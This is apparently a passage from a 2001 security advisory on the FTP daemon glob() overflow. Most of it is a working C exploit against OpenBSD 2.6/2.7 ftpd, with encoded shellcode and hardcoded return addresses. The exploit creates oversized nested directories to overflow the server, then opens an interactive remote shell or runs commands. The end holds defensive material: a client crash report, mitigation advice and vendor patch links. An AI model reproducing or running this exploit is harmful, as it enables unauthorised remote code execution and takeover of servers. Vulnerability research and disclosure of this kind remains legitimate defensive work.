\"xebxffxffxffxffxffxffx50xcfxe5x9bx7bxfaxbfxbdxebx67x3bxfc\" \"x8ax6ax33xecxbaxaex33xfax76x2ax8ax6axebx22xfdxb5x36xf4xa5\" \"xf9xbfxafxebx67x3bx23x7axfcx8ax6axbfx97xebx67x3bxfbx8ax6a\" \"xbfxa4xf3xfax76x2ax36xf4xb9xf9x8ax6axbfxa6xebx67x3bx27xe5\" \"xb4xe8x9bx7bxaex86xfax76x2ax8ax6axebx22xfdx8dx36xf4x93xf9\" \"x36xf4x9bx23xe5x82x32xecx97xf9xbfx91xebx67x3bx42x2dx55x44\" \"x55xfaxebx95x84x94x84x95x85x95x84x94x84x95x85x95x84x94x84\" \"x95x85x95x84x94x84x95x85x95x84x94x84x95xebx94xc8xd2xc4x94\" \"xd9xd3\"; char user[255] = \"anonymous\"; char pass[255] = \"anonymous@abc.com\"; char write_dir[PATH_MAX] = \"/\"; int ftpport = 21; unsigned long int ret_addr = 0; #define CMD_LOCAL 0 #define CMD_REMOTE 1 int command_type = -1; char *command = NULL; struct typeT { char *name; unsigned long int ret_addr; }; #define NUM_TYPES 2 struct typeT types[NUM_TYPES] = { \"OpenBSD 2.6\", 0xdfbfd0ac, \"OpenBSD 2.7\", 0xdfbfd0ac}; void usage(char *program) { int i; fprintf(stderr, \"nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d direct ory] [-t type]ntt[-r retaddr] [-c command] [-C command]nn\" \"Directory should be an absolute path, writable by the user.n\" \"The argument of -c will be executed on the remote hostn\" \"while the argument of -C will be executed on the localn\" \"with its filedescriptors connected to the remote hostn\" \"Valid types:n\", program); for (i = 0; i < NUM_TYPES; i++) { printf(\"%d : %sn\", i, types[i].name); } exit(-1); } main(int argc, char **argv) { unsigned int i; int opt, fd; unsigned int type = 0; char *hostname = \"localhost\"; if (argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv, \"h:r:u:f:d:t:vp:c:C:\")) != -1) { switch (opt) { case \'h\': hostname = optarg; break; case \'C\': command = optarg; command_type = CMD_LOCAL; break; case \'c\': command = optarg; command_type = CMD_REMOTE; break; case \'r\': ret_addr = strtoul(optarg, NULL, 0); break; case \'v\': verbose++; break; case \'f\': if (!(ftpport = atoi(optarg))) { fprintf(stderr, \"Invalid destination port - %s n\", optarg); exit(-1); } exit(-1); break; case \'u\': strncpy(user, optarg, sizeof(user) - 1); user[sizeof(user) - 1] = 0x00; break; case \'p\': strncpy(pass, optarg, sizeof(pass) - 1); pass[sizeof(pass) - 1] = 0x00; break; case \'d\': strncpy(write_dir, optarg, sizeof(write_dir) - 1); write_dir[sizeof(write_dir) - 1] = 0x00; if ((write_dir[0] != \'/\')) usage(argv[0]); if ((write_dir[strlen(write_dir) - 1] != \'/\')) strncat(write_dir, \"/\", sizeof(write_dir) - 1); break; case \'t\': type = atoi(optarg); if (type > NUM_TYPES) usage(argv[0]); break; default: usage(argv[0]); } } if (ret_addr == 0) ret_addr = types[type].ret_addr; if ((fd = xconnect(hostname, ftpport)) == -1) exit(-1); else printf(\"Connected to remote host! Sending evil codes.n\"); ftp_login(fd, user, pass); exploit(fd); } int ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg ) { xsendftpcmd(fd, command, param); xrecieveall(fd, res, size); if (res == NULL) return 0; if (verbose) printf(\"%sn\", res); if (msg && (res[0] != \'2\')) { fprintf(stderr, \"%sn\", msg); exit(-1); } return (res[0] != \'2\'); } void shell(int fd) { fd_set readfds; char buf[1]; char *tst = \"echo ; echo ; echo HAVE FUN ; id ; uname -an\"; write(fd, tst, strlen(tst)); while (1) { FD_ZERO(&readfds); FD_SET(0, &readfds); FD_SET(fd, &readfds); select(fd + 1, &readfds, NULL, NULL, NULL); if (FD_ISSET(0, &readfds)) { if (read(0, buf, 1) != 1) { perror(\"read\"); exit(1); } write(fd, buf, 1); } if (FD_ISSET(fd, &readfds)) { if (read(fd, buf, 1) != 1) { perror(\"read\"); exit(1); } write(1, buf, 1); } } } void do_command(int fd) { char buffer[1024]; int len; if (command_type == CMD_LOCAL) { dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(command, command, NULL); exit (2); } write(fd, command, strlen(command)); write(fd, \"n\", 1); while ((len = read(fd, buffer, sizeof(buffer))) > 0) { write(1, buffer, len); } exit (0); } int exploit_ok(int fd) { char result[1024]; xsend(fd, \"idn\"); xrecieve(fd, result, sizeof(result)); return (strstr(result, \"uid=\") != NULL); } void exploit(int fd) { char res[1024]; int heavenlycode_s; char *dir = NULL; ftp_cmd_err(fd, \"CWD\", write_dir, res, 1024, \"Can\'t CWD to write_dir\"); dir = strcreat(dir, \"A\", 255 - strlen(write_dir)); ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL); ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\"); xfree(&dir); /* next on = 256 */ dir = strcreat(dir, \"A\", 255); ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL); ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\"); xfree(&dir); /* next on = 512 */ heavenlycode_s = strlen(heavenlycode); dir = strcreat(dir, \"A\", 254 - heavenlycode_s); dir = strcreat(dir, heavenlycode, 1); ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL); ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\"); xfree(&dir); /* next on = 768 */ dir = strcreat(dir, longToChar(ret_addr), 252 / 4); ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL); ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\"); xfree(&dir); /* length = 1020 */ /* 1022 moet \" zijn */ dir = strcreat(dir, \"AAA\"\", 1); ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL); ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\"); xfree(&dir); /* and tell it to blow up */ ftp_cmd_err(fd, \"PWD\", NULL, res, 1024, NULL); if (!exploit_ok(fd)) { if (command != NULL) { exit (2); } fprintf(stderr, \"Exploit failedn\"); exit (1); } if (command == NULL) shell(fd); else do_command(fd); } char * strcreat(char *dest, char *pattern, int repeat) { char *ret; size_t plen, dlen = 0; int i; if (dest) dlen = strlen(dest); plen = strlen(pattern); ret = (char *) xrealloc(dest, dlen + repeat * plen + 1); if (!dest) ret[0] = 0x00; for (i = 0; i < repeat; i++) { strcat(ret, pattern); } return (ret); } char * longToChar(unsigned long blaat) { char *ret; ret = (char *) xmalloc(sizeof(long) + 1); memcpy(ret, &blaat, sizeof(long)); ret[sizeof(long)] = 0x00; return (ret); } char * xrealloc(void *ptr, size_t size) { char *wittgenstein_was_a_drunken_swine; if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) { fprintf(stderr, \"Cannot calculate universen\"); exit(-1); } return (wittgenstein_was_a_drunken_swine); } void xfree(char **ptr) { if (!ptr || !*ptr) return; free(*ptr); *ptr = NULL; } char * xmalloc(size_t size) { char *heidegger_was_a_boozy_beggar; if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) { fprintf(stderr, \"Out of cheese errorn\"); exit(-1); } return (heidegger_was_a_boozy_beggar); } int xconnect(char *host, u_short port) { struct hostent *he; struct sockaddr_in s_in; int fd; if ((he = gethostbyname(host)) == NULL) { perror(\"gethostbyname\"); return (-1); } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror(\"socket\"); return (-1); } if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) { perror(\"connect\"); return (-1); } return fd; } /* returns status from ftpd */ void ftp_login(int fd, char *user, char *password) { char reply[512]; int rep; xrecieveall(fd, reply, sizeof(reply)); if (verbose) { printf(\"Logging in ..n\"); printf(\"%sn\", reply); } xsendftpcmd(fd, \"USER\", user); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf(\"%sn\", reply); xsendftpcmd(fd, \"PASS\", password); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf(\"%sn\", reply); if (reply[0] != \'2\') { printf(\"Login failed.n\"); exit(-1); } } void xsendftpcmd(int fd, char *command, char *param) { xsend(fd, command); if (param != NULL) { xsend(fd, \" \"); xsend(fd, param); } xsend(fd, \"rn\"); } void xsend(int fd, char *buf) { if (send(fd, buf, strlen(buf), 0) != strlen(buf)) { perror(\"send\"); exit(-1); } } void xrecieveall(int fd, char *buf, int size) { char scratch[6]; if (buf == NULL || size == 0) { buf = scratch; size = sizeof(scratch); } memset(buf, 0, size); do { xrecieve(fd, buf, size); } while (buf[3] == \'-\'); } /* recieves a line from the ftpd */ void xrecieve(int fd, char *buf, int size) { char *end; char ch; end = buf + size; while (buf < end) { if (read(fd, buf, 1) != 1) { perror(\"read\"); /* XXX */ exit(-1); } if (buf[0] == \'n\') { buf[0] = \'\'; return; } if (buf[0] != \'r\') { buf++; } } buf--; while (read(fd, buf, 1) == 1) { if (buf[0] == \'n\') { buf[0] = \'\'; return; } } perror(\"read\"); /* XXX */ exit(-1); } Update ====== Replugge [Rod] posted : A problem exist in the ftp client provided by Kerberos 5 1.2.2, kerberos 5 ftp client is provided by the rpm package krb5-workstation-1.2.2-12. # ftp localhost Connected to localhost.localdomain. 220 testbox.something.com FTP server (Version wu-2.6.1-16.7x.1) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type Name (localhost:user1): anonymous 331 Guest login ok, send your complete e-mail address as password. Password: 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> get ~{ remote: ~{ Segmentation fault SOLUTION This advisory will be updated as more information becomes available. The most recent version is available from the PGP Security website at: http://www.pgp.com/research/covert/advisories/048.asp The CERT/CC is coordinating the collection of information on vulnerable distributions from third party vendors. For more information, please read CERT Advisory CA-2001-07 available at: http://www.cert.org/advisories/CA-2001-07.html In lieu of a patch, these vulnerabilities may be addressed in a general fashion by ensuring that no directories exist in the anonymous FTP tree that are writable by the anonymous FTP user. Furthermore, BSD and Irix users should take care to ensure that no directory in the anonymous FTP tree has a name longer than 8 characters. It is important to note that these precautions will not prevent local user privilege escalation through the FTP daemon. For NetBSD fixed versions are: NetBSD-current: April 03, 2001 NetBSD-1.5 branch: April 04, 2001 NetBSD-1.4 branch: April 04, 2001 Chris Evans added following. vsftpd is not vulnerable, because 1) It contains a minimal internal pattern matcher, which uses a secure string handling API. 2) It does not use the underlying operating system\'s glob() at all. vsftpd is available at: ftp://ferret.lmh.ox.ac.uk/pub/linux/vsftpd-0.0.15.tar.gz In fact because of point 2) above, vsftpd is safe even on systems with buggy glob() such as OpenBSD etc. For a while now, the security documentation has specifically commented on the risks of using glob(). For FreeBSD: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch.asc ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch.asc For Progeny Linux: wget http://archive.progeny.com/progeny/updates/newton/ftpd_0.17-3_i386.deb For Caldera Unixware : ftp://stage.caldera.com/pub/security/unixware/CSSA-2001-SCO.27/ md5 checksums: 080551194083e645312089995feb330b erg711697a.Z